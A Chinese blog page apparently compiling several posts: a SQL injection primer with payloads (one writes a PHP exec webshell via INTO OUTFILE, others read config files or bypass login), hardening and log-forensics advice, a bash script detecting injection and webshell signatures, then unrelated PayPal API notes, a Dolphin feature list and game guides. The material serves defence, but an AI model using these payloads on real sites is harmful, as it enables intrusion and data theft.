        4)/action/lxmm/video_detail.php?vid=14/**/and/**/1=2/**/union/**/select /**/char(60,63,112,104,112,32,101,99,104,111,32,101,120,101,99,40,39,119,104,111,97,109,105,39,41,59,63,62)/**/into/**/outfile/**/'/test.php'/**/1=1
        5)/action/lxmm /video_detail.php?vid=14%20and%201=2%20union%20select%20table_schema,table_name,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18%20from%20information_schema.tables%20limit%201%202
        6)/login.php?u=a'%20or%20id=1%23 验证(select * from alphaauthor where u='$u' and p='$p')
        7)/pub/show.php?tpl_id=187%20load%20data%20local%20infile%20'd:/t.txt'%20into%20table%20test%20fields%20terminated by ','
        8)/pub/show.php?id=347%20and%201<>1%20union%20select%201,2,load_file('/data/www/conf/config.in.php'),4,5,6,7,8,9,10,11
        9)/readFile.php?path=/data/www&file=test.txt
        字符注入
        10)/searchUser.php?key=a%'%20and%201=2%20union%20select%201,u,2,p%20from%20user/*
        11)/pub/show.php?id=451%20and%201=2%20union%20select%201,2,load_file(0x643a2f742e747874),4,5,6,7,8,9,10,11
        12)/pub/show.php?id=451%20and%201=2%20union%20select%201,2,load_file(char(100,58,47,116,46,116,120,116)),4,5,6,7,8,9,10,11
    2、通过insert
        1)INSERT INTO members VALUES('$u','$p','$email','2'),email输入了netsh@163.com','1')/*
    3、程序
        1)@extract(daddslashes($_GET));register_globals=Off

    防范

    1、程序防范
        1)对于用户名这样的字段,输入时候,检查不允许有空格,而且必须是字母数字下划线或划线这四种,用正则检查诸如角色名这些不需要用'" \之类的字符,一定要在录入之前就检查。
        2)有长度限制的一定要加入长度限制。
        3)筛查sql关键字。
        4)过滤整形is_numeric,intval,sprintf。
        5)如果!get_magic_quotes_gpc()用addslashes过滤。
        6)文件上传严格控制上传文件类型。
        7)记录用户操作日志。
    2、服务器防范
        1)apache安全
            (1)指定运行帐户daemon
            (4)chroot运行
            (2)FollowSymLinks
            (3)AllowOverride None (rewrite)
        2)php配置安全注意事项
            (1)magic_quotes_gpc = on
            (2)register_globals = off
            (3)safe_mode = on
            (4)open_basedir = /var/www/
            (5)disable_functions = phpinfo ... (用不到并且危险的函数)
            (6)display_errors = Off (容易暴露出错文件位置)
        3)Mysql安全
            (1)指定用户运行groupadd mysql useradd -g mysql mysql
            (2)chroot运行

    服务器被入侵后应该如何应对

    1、查看日志,查询select,union,concat,into,outfile之类参数的日志,去研究他通过哪些文件注入的,并且做了哪些操作。
        grep -i union 200808*.log > search.log
        grep -i union 200808*.log | grep -v 404 > search.log
    2、查到了有文件2008.php被注入,查找相应内容的文件。
        find /data/SSWWW/www | grep 2008.php > search.log
        find . -name "*.php"  -printf "%c %p\n" |sort -n |more
    3、2008.php中含有fsockopen、exec或者文件版本信息关键字,查找虚拟主机所有含有该关键字的php文件。
        find /data/ -name "*.php" -exec grep -iH "fsockopen" {} \;
        find /data/SSWWW/ |grep php| xargs grep 4ngel >  search.log
    4、及时检查服务器日志和最新被改动Php文件

    文章引自:开源吧


  • Paypal快速支付接口优化了支付流程,可以最大程度上进行风险控制,提高了安全性,可以尽可能减少商家无必要的损失!以下是快速支付接口整理。

    一、SetExpressCheckout

    请求
    必选参数:


    1.    AMT格式为100.00
    2.    RETURNURL
    3.    CANCELURL
    4.    METHOD


    可选参数


    1.    CURRENCYCODE,默认USD
    2.    EMAIL结账时输入的买家电子邮件。PayPal使用该值预填PayPal 登录页面的PayPal会员注册部分。
    3.    INVNUM您自己的唯一账单号或跟踪号。
    4.    NOSHIPPING值1表示在PayPal页面上不应显示任何送货地址字段。  默认值:0
    5.    TOKEN一个时间戳标记,您凭此向PayPal表明自己正通过“快速结账”功能处理这笔付款。
    6.    LOCALECODE  “快速结账”过程中PayPal所显示页面的区域设置。CN默认US
    7.    PAGESTYLE设置与该按钮/链接相关的付款页面的“自定义付款页面样式”。
    8.    HDRIMG您希望在付款页面左上角显示的图片的URL。
    9.    PAYMENTACTION希望获取付款的方式:Sale,Authorization,Order
    10.    DESC客户所购物品的描述。
    11.    L_NAMEn物品名称
    12.    L_NUMBERn物品号
    13.    L_QTYn物品数量


    响应


    1.    TOKEN如果您在SetExpressCheckout请求中设置该标记, 则响应中该标记的值与请求中的值相同。
    注:
    您从SetExpressCheckout收到成功响应后,请将SetExpressCheckout响应中的TOKEN作为名称/值对添加到以下URL,并将您客户的浏览器跳转至该URL: 
    https://www.paypal.com/cgi-bin/webscr?cmd=_express-checkout& token=value_from_SetExpressCheckoutResponse 要将客户的浏览器跳转至PayPal登录页面,PayPal建议您使用HTTPS响应302“对象已移动”,并将上面的URL作为HTTPS响应中的 Location标题的值。请确保使用启用了SSL的服务器,以防止由于混合了安全和不安全图片而使浏览器发出警告。

    二、GetExpressCheckoutDetails

    请求


    必选参数


    1.    METHOD  API的名称:GetExpressCheckoutDetails
    2.    TOKEN时间戳标记,其值由SetExpressCheckout


    响应


    1.    TOKEN
    2.    EMAIL付款人的电子邮件地址。
    3.    PAYERID唯一的PayPal客户账户识别号。
    4.    PAYERSTATUS 付款人的状态。有效值有: verified unverified
    5.    SALUTATION 付款人的称呼。
    6.    FIRSTNAME 付款人的名。
    7.    ...

    三、DoExpressCheckoutPayment(付款)

    请求


    1.    METHOD API的名称:DoExpressCheckoutPayment
    2.    TOKEN由SetExpressCheckout响应返回并通过GetExpressCheckoutDetails请求传递的时间戳标记值。
    3.    PAYMENTACTION Sale表示这是您正进行收款的最终销售。
    4.    PAYERID GetExpressCheckoutDetails响应返回的唯一PayPal客户账户识别号。
    5.    AMT 订单金额合计,包括运费、手续费和税金。
    6.    INVNUM您自己的账单号或跟踪号。
    7.    NOTIFYURL 您用来接收有关该交易的即时付款通知(IPN)的URL。
    8.    L_NAMEn 物品名称。
    9.    L_NUMBERn 物品号。


    响应


    1.    TOKEN
    2.    TRANSACTIONID 付款的唯一交易号。
    3.    TRANSACTIONTYPE 交易的类型,可能的值:cart和express-checkout
    4.    PAYMENTTYPE 指示是即时付款还是延迟付款。none,echeck,instant
    5.    ORDERTIME 付款的时间/日期戳
    6.    AMT 收取的最终金额,包括您“商家用户信息”中的任何运费和税金。
    7.    CURRENCYCODE “PayPal支持的交易币种”中所列币种之一的三字符币种代码。
    8.    FEEAMT对交易收取的PayPal费用金额
    9.    SETTLEAMT 币种兑换后存入您PayPal账户中的金额。
    10.    TAXAMT 对交易收取的税金。
    11.    EXCHANGERATE 进行币种兑换时所用的汇率。只有以非主要币种结算时才适用。
    12.    PAYMENTSTATUS 付款的状态: Completed:付款已完成,资金已成功注入您的账户余额中。 Pending:付款待处理。有关详细信息,请参见PendingReason
    13.    PENDINGREASON 付款待处理的原因:
        none:无待处理原因
        address:付款待处理的原因是,客户未提供经确认的送货地址,而且您的“收款习惯设定”设为每笔付款均需手动接受或拒绝。若要更改习惯设定,请前往“用户信息”的“习惯设定”部分。
        echeck:付款待处理的原因是:通过电子支票付款,而电子支票尚未结清。
        intl:付款待处理的原因是:您持有非美国账户,且不具备提现功能。您必须在“账户信息”页面中手动接受或拒绝此笔付款。
        multi-currency:所发送的币种没有余额,并且未将“收款习惯设定”设为自动兑换和接受付款。您必须手动接受或拒绝此付款。
        verify:付款待处理的原因是:您尚未获得认证。您必须认证您的账户才能接受此付款。
        other:付款待处理非上述原因所致。欲知更多信息,请联系PayPal客户服务。
    14.    REASONCODE撤销原因(TransactionType为reversal时):
        none:无原因代码
        chargeback:由于客户提出退单,因此撤销这笔交易。
        guarantee:由于客户启动退款担保,因此撤销这笔交易。
        buyer-complaint:由于客户对交易提出投诉,因此撤销这笔交易。
        refund:由于您向客户退款,因此撤销这笔交易。
        other:交易的撤销非上述原因所致。

    转自:Paypal快速支付中文接口整理


  • 写程序难免出现漏洞,偶尔懒时,用一些开源的东东,其中漏洞更不好说,有些所谓的黑客发现网站漏洞肯定会欣喜若狂,于是乎把你的网站折腾的底朝天,传一些网页木马之类的东西,你的网站就不能清净了,为了避免这种情况,写了以下脚本,供大家享用!

    为了尽量减少网站被注入的可能,注意一下三点:

    1、尽可能不用开源的东西,开源的东西可以借鉴一下好的地方,但是不要全部搬过来

    2、自己写程序时,尽量细心,不要给自己的网站留有被黑的可能,这个还是去研究一下SQL注入吧

    3、经常检查web服务器日志和自己的程序文件,看看有没有被尝试注入和可疑文件。

    前两者好说,现在把监控服务器脚本共享给大家,有意见请联系:kaiyuanba@163.com,一起探讨

    #check hacker and warn
    #by alei
    function urlencode(){
            echo -n "$1" | od -t x1 -A n -w1000|tr " " "%"
    }

    function md5(){
            md5str=`echo -n $1|md5sum`
            echo ${md5str%%\ *}
    }
    #get date by ...
    function getDateHourBefore(){
            a=`date +%s`;
            b=`echo "$a - 3600*$2"|bc`;
            c=`date -d "1970-01-01 UTC $b seconds" +"$1"`;
            echo $c
    }
    #$1=log file array,$2=search key,$3=log file
    function checkLogs(){
        result="0"
        files=$1
        i=0;
            #dateLastHour=`getDateHourBefore "%d/%b/%Y:%H" 1`
            #dateHour=`getDateHourBefore "%d/%b/%Y:%H" 0`
        for file in ${files[*]}
            do
            for j in $file*
            do
                if [ -e "$j" ]
                then
                    #res=`cat "$j"|sed -n "/$2/p"`
                                    #res=`cat $j| tr 'A-Z' 'a-z'|sed -n "/$2/p"|grep -iE "$dateLastHour|$dateHour"`
                    res=`cat $j| tr 'A-Z' 'a-z'|sed -n "/$2/p"`
                    if [ "$res" ]
                    then
                        result="1"
                        echo -e "start in $j\n$res\nend\n" >> $3
                    fi
                else
                    echo -e "$j not exists\n" >> $3
                fi
            done
        done
        echo $result
    }
    #$1=file path array,$2=key array $3=log file
    function checkVitrualFies(){
        result="0"
        i=0
        paths=$1
        keys=$2
        for path in ${paths[*]}
        do
            if [ -e "$path" ]
            then
                for key in ${keys[*]}
                do
                    res=`find $path  -name "*.php" -exec grep -iH "$key" {} \;`
                    if [ "$res" ]
                    then
                        result="1"
                        echo -e "start in $path\n$res\nend\n">>$3
                    fi
                done
            else
                echo -e "$path not exists\n" >> $3
            fi
        done
        echo $result;
    }
    year=`date +%Y`
    month=`date +%m`
    date=`date +%d`
    hour=`date +%H`
    #hacker tag
    checkResult="0";
    logFile="/opt/www/logs/checkHacker/newcheck.log"
    echo -e "=================================start at $year-$month-$date $hour:"`date +%M:%S`"=================================" >> $logFile
    echo -e "starting check log...">> $logFile
    #key
    searchkey="union.*select"
    #log file
    logs[0]=/var/lib/www/logs/$year/$month/$date"_"$hour
    #lastHour=`getDateHourBefore %H 1`
    #logs[1]=/var/lib/www/logs/$year/$month/$date"_"$lastHour
    logs[1]="/var/lib/www/logs/"`getDateHourBefore %Y/%m/%d_%H 1`
    #echo "${logs[*]}";exit 0
    #check logs
    checkResult=`checkLogs "${logs[*]}" "$searchkey" "$logFile"`
    #check vitrual file
    echo -e "starting check vitrual files ...">> $logFile
    #check files
    vitrualPaths[0]="/var/lib/www/dd.kaiyuanba.cn"
    vitrualPaths[1]="/var/lib/www/www.tt.kaiyuanba.cn"
    vitrualPaths[2]="/var/lib/www/in.erkaiyuanba.cn"
    vitrualPaths[3]="/var/lib/www/gt.kaiyuanba.cn"
    vitrualPaths[4]="/var/lib/www/in.sg.kaiyuanba.cn"
    vitrualPaths[5]="/var/lib/www/www.pet.kaiyuanba.cn"
    vitrualPaths[6]="/var/lib/www/in.rr.kaiyuanba.cn"
    vitrualPaths[7]="/var/lib/www/www.kaiyuanba.cn"
    vitrualKeys[0]="Sniper"
    vitrualKeys[1]="4ngel"
    if [ "$checkResult" = "1" ]
    then
        checkVitrualFies "${vitrualPaths[*]}" "${vitrualKeys[*]}" "$logFile"
    else
        checkResult=`checkVitrualFies "${vitrualPaths[*]}" "${vitrualKeys[*]}" "$logFile"`
    fi

    #check tag and send mail or message
    if [ "$checkResult" = "1" ]
    then
            key="xxxx"
            msg="xxx was hacking"
            mobile="12345678911"
            email="kaiyuanba@163.com"
            auth=`md5 "$msg$mobile$email$key"`


            emsg=`urlencode "$msg"`
            emobile=`urlencode "$mobile"`
            eemail=`urlencode "$email"`
            eauth=`urlencode "$auth"`

            content="c="$emsg"&m="$emobile"&e="$eemail"&a="$eauth
            curl "http://www.kaiyuanba.cn/warn.php?"$content
    else
        echo "not send message"
    fi

    这段脚本会把又被注入现象的日志输入到一个文本文件,可以的文件路径以及文件名称也会输入到一个文件,同时可以调用接口给技术人员发邮件和短信报警,技术同学便可以及时查询,或许一场很大的事故因此而避免了,恭喜!!

    呈现给大家另一段程序,只是是日志文件格式不同

    #check hacker and warn
    #by alei
    function urlencode(){
            echo -n "$1" | od -t x1 -A n -w1000|tr " " "%"
    }

    function md5(){
            md5str=`echo -n $1|md5sum`
            echo ${md5str%%\ *}
    }
    #get date by ...
    function getDateHourBefore(){
            a=`date +%s`;
            b=`echo "$a - 3600*$2"|bc`;
            c=`date -d "1970-01-01 UTC $b seconds" +"$1"`;
            echo $c
    }
    #$1=log file array,$2=search key,$3=log file
    function checkLogs(){
            result="0"
            files=$1
            i=0;
            #dateLastHour=`getDateHourBefore "%d/%b/%Y:%H" 1`
            #dateHour=`getDateHourBefore "%d/%b/%Y:%H" 0`
            for file in ${files[*]}
            do
                    for j in $file*
                    do
                            if [ -e "$j" ]
                            then
                                    #res=`cat $j|sed -n "/$2/p"`
                                    #res=`cat $j| tr 'A-Z' 'a-z'|sed -n "/$2/p"|grep -iE "$dateLastHour|$dateHour"`
                    res=`cat $j| tr 'A-Z' 'a-z'|sed -n "/$2/p"`
                                    if [ "$res" ]
                                    then
                                            result="1"
                                            echo -e "start in $j\n$res\nend\n" >> $3
                                    fi
                            else
                                    echo -e "$j not exists\n" >> $3
                            fi
                    done
            done
            echo $result
    }

    #$1=file path array,$2=key array $3=log file
    function checkVitrualFies(){
            result="0"
            i=0
            paths=$1
            keys=$2
            for path in ${paths[*]}
            do
                    if [ -e "$path" ]
                    then
                            for key in ${keys[*]}
                            do
                                    res=`find $path  -name "*.php" -exec grep -iH "$key" {} \;`
                                    if [ "$res" ]
                                    then
                                            result="1"
                                            echo -e "start in $path\n$res\nend\n">>$3
                                    fi
                            done
                    else
                            echo -e "$path not exists\n" >> $3
                    fi
            done
            echo $result;
    }
    year=`date +%Y`
    month=`date +%m`
    date=`date +%d`
    hour=`date +%H`
    #hacker tag
    checkResult="0";
    logFile="/opt/www/logs/checkHacker/newcheck.log"
    #logFile="newcheck.log";
    echo -e "=================================start at $year-$month-$date $hour:"`date +%M:%S`"=================================" >> $logFile
    echo -e "starting check log...">> $logFile
    #key
    searchkey="union.*select"

    #log file
    logs[0]=/data/logs/access/$year$month$date"_"$hour
    #lastHour=`getDateHourBefore %H 1`
    #logs[1]=/data/logs/access/$year$month$date"_"$lastHour
    logs[1]="/data/logs/access/"`getDateHourBefore %Y%m%d_%H 1`
    #echo "${logs[*]}";exit 0
    #check logs
    checkResult=`checkLogs "${logs[*]}" "$searchkey" "$logFile"`
    #check vitrual file
    echo -e "starting check vitrual files ...">> $logFile
    #check files
    vitrualPaths[0]="/data/KKWWW/www"
    vitrualPaths[1]="/data/KKWWW/in.kaiyuanba.cn"
    vitrualPaths[2]="/data/xdrj"
    vitrualPaths[3]="/data/tlf"
    vitrualPaths[4]="/data/KKWWW/pub"
    vitrualKeys[0]="Sniper"
    vitrualKeys[1]="4ngel"
    if [ "$checkResult" = "1" ]
    then
            checkVitrualFies "${vitrualPaths[*]}" "${vitrualKeys[*]}" "$logFile"
    else
            checkResult=`checkVitrualFies "${vitrualPaths[*]}" "${vitrualKeys[*]}" "$logFile"`
    fi

    #check tag and send mail or message
    if [ "$checkResult" = "1" ]
    then
            key="xxxx"
            msg="xxx was hacking"
            mobile="12345678911"
            email="kaiyuanba@163.com"
            auth=`md5 "$msg$mobile$email$key"`


            emsg=`urlencode "$msg"`
            emobile=`urlencode "$mobile"`
            eemail=`urlencode "$email"`
            eauth=`urlencode "$auth"`

            content="c="$emsg"&m="$emobile"&e="$eemail"&a="$eauth
            curl "http://www.kaiyuanba.cn/warn.php?"$content
    else
            echo "not send message"
    fi
  • 地址:http://www.kaiyuanba.cn/html/1/2/303/4488.htm
    Dolphin是一个最受欢迎的社交网络构建系统,基于PHP+MySQL开发。 提供的功能包括:100% AJAX论坛,照片共享,视频聊天,视频共享/播放,音乐共享,Blogs,投票,群组,收发邮件,交友,自定义主题,桌面客户端等。

    General Features

    • 100% open source
    • Blog (photo upload, user can create different categories, permissions, comments)
    • The ability to sort member menu and groups on member menu
    • The ability to approve "x" number of profiles simultaneously
    • A/V files recording and sharing
    • Cash profile info
    • Convert any kind of video format
    • RSS feeds support. Subscribe to or live-bookmark forums
    • Fully separated front-end and backend (using XSL transformation)
    • Smiles Pack
    • "Sticky" topics
    • Multiple languages support
    • Default integration of Ray Community Widget Suite
    • Default integration of Orca Interactive Forum Script
    • Registration Security Images
    • On-the-fly photos auto-scaling
    • Profile of the month, profile of the week and profile of the day
    • "Links", "FAQ", "About us", "Contact us", "Privacy", "Terms of use", "Services" pages
    • Affiliate system with commissions tracking routine and security tools
    • Quick search
    • Advanced search
    • Sorting and search narrowing
    • ZIP codes search options
    • Matchmaking (auto search based on user-specified criteria)
    • Cupid mail (matchmaking results auto-sending)
    • Search for online members, searching members, communicating (in IM) members
    • Integrated with PayPal by default
    • Supports recurring billing from PayPal
    • Can be integrated with any other payment processing company (PaySystems, Authorize.Net, iBill, 2checkout, etc.)
    • 100% automated billing system. Script automatically sends purchased information after payment is processed and performs multi-level anti-fraud checks
    • Several payment providers could work simultaneously
    • Page and Profile Builders
    • Site layout - from 1 to 4 columns
    • Tabs and multiple rooms in Video Chat
    • 1-to-1 private rooms in Video Chat
    • Floating video panes in Video Chat and Video Messenger
    • Full-screen video in Video Chat, Video Messenger and Video Player
    • Flexible layout for Shoutbox, Video Player and Music Player
    • Ray Media Server for high performance and functionality
    • Online members or friends tracking
    • View user's profile via Presence
    • Private communications using text, audio and video simultaneously
    • Customizable sounds in IM for incoming messages, user login/logout, video/audio files start/stop viewing
    • Optimized audio/video streaming control
    • Help pages
    • Seamless connection to user's cameras and mics
    • Direct file uploading to a member's profile
    • Whiteboard. Great way to present concepts. Intuitive interface for ease of use

    User Part Features

    • Customizable profile view
    • Browse profiles with narrowing ability
    • On-the-fly selection of country flags
    • E-mail confirmation routine
    • Checking e-mails to be unique
    • Members registration form - 2 steps by default
    • Smart shopping cart with history
    • Invite / tell a friend
    • New members (auto-displaying of photos of latest registered users on the main page)
    • "Online/Offline" user status
    • Merchant account integration
    • Personal Media Gallery (audio, video and pictures)
    • Shared Media Gallery (audio, video and pictures)
    • Personal Blog
    • Friends List
    • Guestbook
    • Friends Only and Registered Only permissions for GuestBook comments
    • Gmail Like Mailbox Conversations Archive
    • Events
    • Classifieds
    • "Random Quotes" system
    • One-click lists with online users
    • Top-rated profiles lookup
    • Zodiac signs lookup in profiles and search results
    • Newsletter
    • "Last logged-in" information
    • Essay (extended "About me" section)
    • Profile ratings
    • Number of profile views with the ability to list members who viewed the profile
    • Automatic member gender prompt for profiles search
    • Dating polls
    • Automatic photos upload system
    • Search results can be presented in the form of a photo gallery
    • Optional displaying of additional photos only to gold or purchased members
    • Photos rating (similar to hotornot.com)
    • Personal Weblog commenting
    • Double-blind virtual greetings
    • Double-blind messaging
    • Messenger with storing system
    • Advanced control panel for members (profile status and all-contacts information)
    • Media (video and audio support for profiles)
    • Configurable Flash-based online live-chat system
    • HotList (buddies, favorites)
    • Block members (members can block all correspondence from certain members)
    • Ability to choose event, order ticket and provide matches IDs
    • Ability to post own article
    • MD5 encrypted member's password
    • User friendly links (ModRewrite function)
    • Ability to create Couples profiles
    • Kick-ass live voting (think Digg)
    • One-click post report
    • WYSIWYG text formatting
    • Drag'n'Drop-able emoticons and external photos
    • Topics Flagging
    • 'My Topics' watching
    • Mega-cool Live Tracker
    • Live post tracker - "Forum Spy"
    • Posts, topics, forums and forum groups just like your mom cooked
    • If only your mom cooked expandable AJAX-powered forum folders
    • Read/unread labels
    • Topic pagination
    • Navigation breadcrumbs (as if everyone knows what it means)
    • Times, stats, and dates here and there
    • "Reply with quote" option in forums
    • Optimized A/V controls
    • Skin and language switcher
    • A/V monitoring
    • Audio/video conferencing with a multi-media headset
    • Room history
    • Dropdown Video Console
    • Video, Audio, Fonts, Skins and Smilesets settings
    • Unlimited video streaming
    • Typing Box (text formatting, animated emoticons)
    • Rooms list with the members info (photo, nickname, sex, age, user's type) in any room
    • Users can track who's viewing their video streaming in Chat
    • Custom Sound Alerts
    • Video streaming in a Separate Window (full screen mode)
    • View Video instead of Photo of the profiles when user's cams are on
    • Invite to 1-to-1 Private chat
    • Send a "whisper" message to a particular user
    • Chat in several rooms simultaneously
    • Create password protected rooms
    • Set up a status message
    • Listen to and upload music files
    • Edit Title, Tags, and Description of music files
    • The Play List Editor (upload and remove music files, change playlist playback order, add files from admin music to the user's playlist)
    • Track Control Buttons (Play/Pause, Back, Forward)
    • View title, mode, playback progress line, and volume of the playing track
    • "Invitation Denied" notification message in IM
    • Presence status indicators
    • IM dialog history
    • Send any file to each other using IM
    • A custom snapshot for thumbnail of the video
    • Set up recorded video as a screenshot
    • Download the recorded video file
    • Define number of users who can join and edit the board
    • Newly joined users will receive the board picture gradually, step by step
    • Left/right arrows to move backward or forward through changes or clear the whole board
    • Use shapes, lines and colors in board

    Administration Panel Features

    • User-friendly, convenient online administration system
    • Site pages builder
    • Fields builder
    • Navigation menu builder
    • Moderators Accounts to approve and edit profiles
    • News module with admin tab
    • Automatic success stories posting with "latest story" feature
    • Graduated pricing, credits system, customizable memberships
    • Advanced Banner System and Adsense Integration
    • Easy to follow calendar
    • Complete mastery of your Ray Widgets
    • View widgets already installed, order widgets you may still need
    • Check base settings or update the base right from there
    • Different user membership types (text only, view only, full access)
    • Admin initial preset of Presence vertical size
    • Enable/disable any widget with a click
    • Adjust settings for each widget, and order more templates or languages
    • Now, users (not only admin) can change languages and skins in all widgets
    • Access admin music library to add to user's play list
    • Track and manage reported files
    • Approve/Disapprove music
    • User's music files listed in admin player
    • Set limits for quantity and size of uploaded files
    • View list of users with video (All, Approval pending)
    • Play, approve and delete video functions
    • Uploaded video files management
    • Admin initial preset of Video Player/Uploader height and width
    • Preset the maximum number of uploaded files
    • Admin Video Player with the list of uploaded files
    • Enable/disable guests posting messages in Shoutbox
    • Set number of displayed messages
    • Preset the Shoutbox height
    • Member's Pictures Customized Water Mark
    • Individual member promotion and membership assignment
    • Five types of user account status
    • Search by ID, e-mail and nickname
    • Confirmed User email notification for admin
    • "Variables" section to manage sitewide functions
    • User-friendly profile fields modification system
    • Site's styles file modification
    • Integrated language file modification capabilities
    • Automatic update availability alerts
    • Admin interface to create moderators
    • Updated admin finance calculator
    • Multiple languages support
    • Featured profiles generating
    • Optional profiles auto-approve
    • Installation wizard for fast and easy scripts installation
    • Easy text, code, graphics modification
    • Free trial membership (admin ability to set up the period length and conditions)
    • Automatic database cleaning (administrator can specify allowed inactivity period)
    • Displaying the number of registered members from defined countries who are online/present
    • Links exchange campaign
    • E-mail notifications/newsletter system
    • "Articles" system for more text content
    • Admin ability to set Cupid mail options
    • Plugin configuration features
    • Banners rotation system management
    • Ability to bring random, online, last, and top rated profiles to the home page
    • Ability to set minimum number of characters for "About me" and "About you" fields
    • Ability to set required size of "Password" field
    • Customizable number of photos a member can upload
    • Ability to choose currency image used for transactions
    • Ability to set up events, place, time and event manager's contact info
    • Ability to set up events and place a picture
    • Ability to set matches number
    • Printer-friendly user's list, matching users
    • Automatic billing and transactions generation
    • Ability to create any membership type
    • Ability to define membership access level
    • Ability to define customized membership requirements
    • Ability to give permissions to all users to contact each other for free
    引自:开源吧
  • 粉碎城堡 Crush the Castle

    2009-09-19 | Tag:

    标签: flash  小游戏 
    游戏地址: http://www.66ye.com/html/16/1/14364.htm
    玩家通过投石车把石头抛向城堡,压死里面的士兵、王子、公主、国王、王后,他们一家子……为什么要要这样做呢?很明显是对昏君的反抗嘛!不过从上面的图片来看,国王居住的地方还不是一般的简陋……游戏作者为游戏加入了物理引擎,使游戏表现力更强,而且打到后期你拥有的武器也会变得越来越强大,最后很强悍的终级武器是什么,现在先不透露,自己玩玩看吧。如果通关后觉得不过瘾还可以自己编辑关卡来让朋友们挑战哦!


    玩法与提示

    • 进入游戏后会先显示城堡,然后会转到抛石车画面,这时点击鼠标左键启动抛石车,再点击左键即可把石头丢出去。
    • 把握好时机,瞄准城堡的薄弱环节攻击。
    • 每抛一次,屏幕上方就会提示还可以抛多少次。
    • 随着通过关卡数的增多,武器也会越来越厉害,可以在游戏画面下面中间的武器存放处选择。
    • 如果要重玩,就单击RESET按钮。

  • 游戏地址:http://www.66ye.com/html/16/5/7577.htm

    (上)

    刚玩时先和爸爸说话,他会给你一把木剑,把剑带上。
    然后去打象年糕似的的东西。大概升到2及后,就去打蓝色灵子,在打之前,我先说一下怎么加点,首先选人就选小白,灵力多,加属性就加2灵1力2耐,加2体也行,但很肥钱,虽然说有死神道服,但我试过。加2体非常肥钱,还的反回去买要,麻烦。。
    打灵团子打到10及就去死神学校去。做完老师给你的一系列任务。
    然后打假虚升到20及,技能就加鬼道,一直往下加,记得一定要配上斩魂刀,和死神道服。。。
    老师让你去现世巡逻,你不用做任何准备,立刻去。。。。
    到了以后脯员让你30及后去找他,你就打小云彩和小巫师生机就好了。
    技能要加白打。。

    升到30及后去找蒲员,做完一系列任务,其中打中虚和大虚都要离它们远点,用仓火坠。然后和蒲员挑战,瀛了就给你的斩魂刀开启始解状态,会变的更强!

    (中)

    做完任务后不要升级,直接去十三翻队,管事让你50及后再来找他,你就打死神队员,技能加白打然后加斩魂刀的技能,直到学会始解为止。。。。
    50及后就找管事,做完一系列任务,其中八角和队长都非常好打只要用始解秒他们就行了。。。。
    管事会给你技能点,都加始解释,这样你的始解就会打4000多滴血了!超强!
    到了1翻后,队长就让你打梅针,不用怕,直接去,如果你对你的能力还不满意的话,就找蒲员练及。。
    打梅针时就一直用始解打他,几下就死。。。。。
    回去后队长让你90及再来找他!!
    我听到这个消息很郁闷,,,
    只有打那个球升级。。。。
    我现在59及,打一下5000多,别人打我一下才10多分血。
    怎么样!厉害吧!我现在还在努力升级,争取到90及,再找老头接任务。。。。。。。。。。。。。

    (下)

    啊!终于到90及了在告诉你个挂机方法,把点洗了全加耐,然后去球的地方用一个东西压住J键,他就自己开打了。
    90及后去找老头,他让你去调查巴温特,之前先把点洗了,全加血和功,然后回尸魂街,(一开始的地方)一直向左走,一开始你先把那个不让你过去的人干掉,用始解,然后在向左走,看到守失,干掉他后,他就消失了。
    然后回一翻队,找队长,他说巴温特要发动净原章,你先去打帷子的地方,这时她就会和你说话,干掉她,现在,你可以再升点及,去最左边和剑PK(不是爸爸旁边那个)剑非常好打,就是发炮弹时你得躲着点。
    如果不想玩了就打完帷子再往右走,你会看到一个提问小姐,能答2次题,可以帮你提升斩混刀和死神道服。
    找到守失后就用始解干他,然后他会召唤出梅沙,也不怕他,最后他会发动净原章,这时你的血必须在5000以上,因为他的大决一下4600多!
    一直用重击干他,他死了后,游戏就结束了!
    这里告诉大家个秘籍,如果你有葫芦的话,你用一个,数字不会有变化,葫芦就可以无限用。


    引自核心地带


  • 标签: 宝石  连击  合成  攻击  穿墙术 


    我的状态.刚刚去刷霸王的时候刷了一级,我的武器.不是最好的.但是我更好的宝石被我当成玩具一样XXXX了,我的防具.也不是最好的.不过够玩通了

    连击绝招

    1.占好位子.可以用头把它们顶到那边去。不过小心你头顶晕了.顶出边线了.就犯规了哦
    2.普通连击(后面有将具体步骤).可以打13*5=65
    3.在打到65下的时候连必杀| 华连(7)  65+(7*5)=100
    4.华莲可以打到100连.打完继续接着按普通攻击.又连上了?那就继续上几个步骤.这张没拍好.呵呵.慢了一点..
    5.嘿嘿.简单吧.不过告诉你们.能打500多连是因为怒气在增加.像我那样的连法.可以一共发动5个怒气….好好加油吧..我练连击的时候.不知道多少小猪被我的反噬所打死.好冤啊~“

    进入正题

    第一:希望这篇文章对大家有很大的帮助咯。。。
    第二:准备工作.不管做什么.最好全加攻.打敌人快嘛.升级也快.不用怕死.因为有我的无敌穿墙大法(最后有备注).血瓶不要升到最高级.做完任务不要去领赏.新人出门最好把装备买齐升好武器的级.在出去.到时.自身级别一升马上就可以换高攻武器和高防防具!
    第三:正题.一出来就刷几颗宝石的钱.论坛里有找到文章可以关于无限宝石的.买好99的红.99的蓝(开始买比较便宜.呵呵)然后在去弄个双倍.途中带着我的”无敌穿墙术”和S/L大法,一直打到西面吧.
    第四:打所有的怪都可以用无敌穿墙术.可是仙女不一般.只能用来辅助攻击.因为仙女实在是太BT了.她的攻击不能被X所挡住..最好把HP加到1100左 右就行防御不加也行.因为只要小心的话.攻击比防御强多了.在被她攻击的时候千万要记住不能用无敌穿墙术.切记!在你的防御术未恢复或者被变成了小动物. 她也没进攻的话.无敌穿墙术可以用来恢复技能.
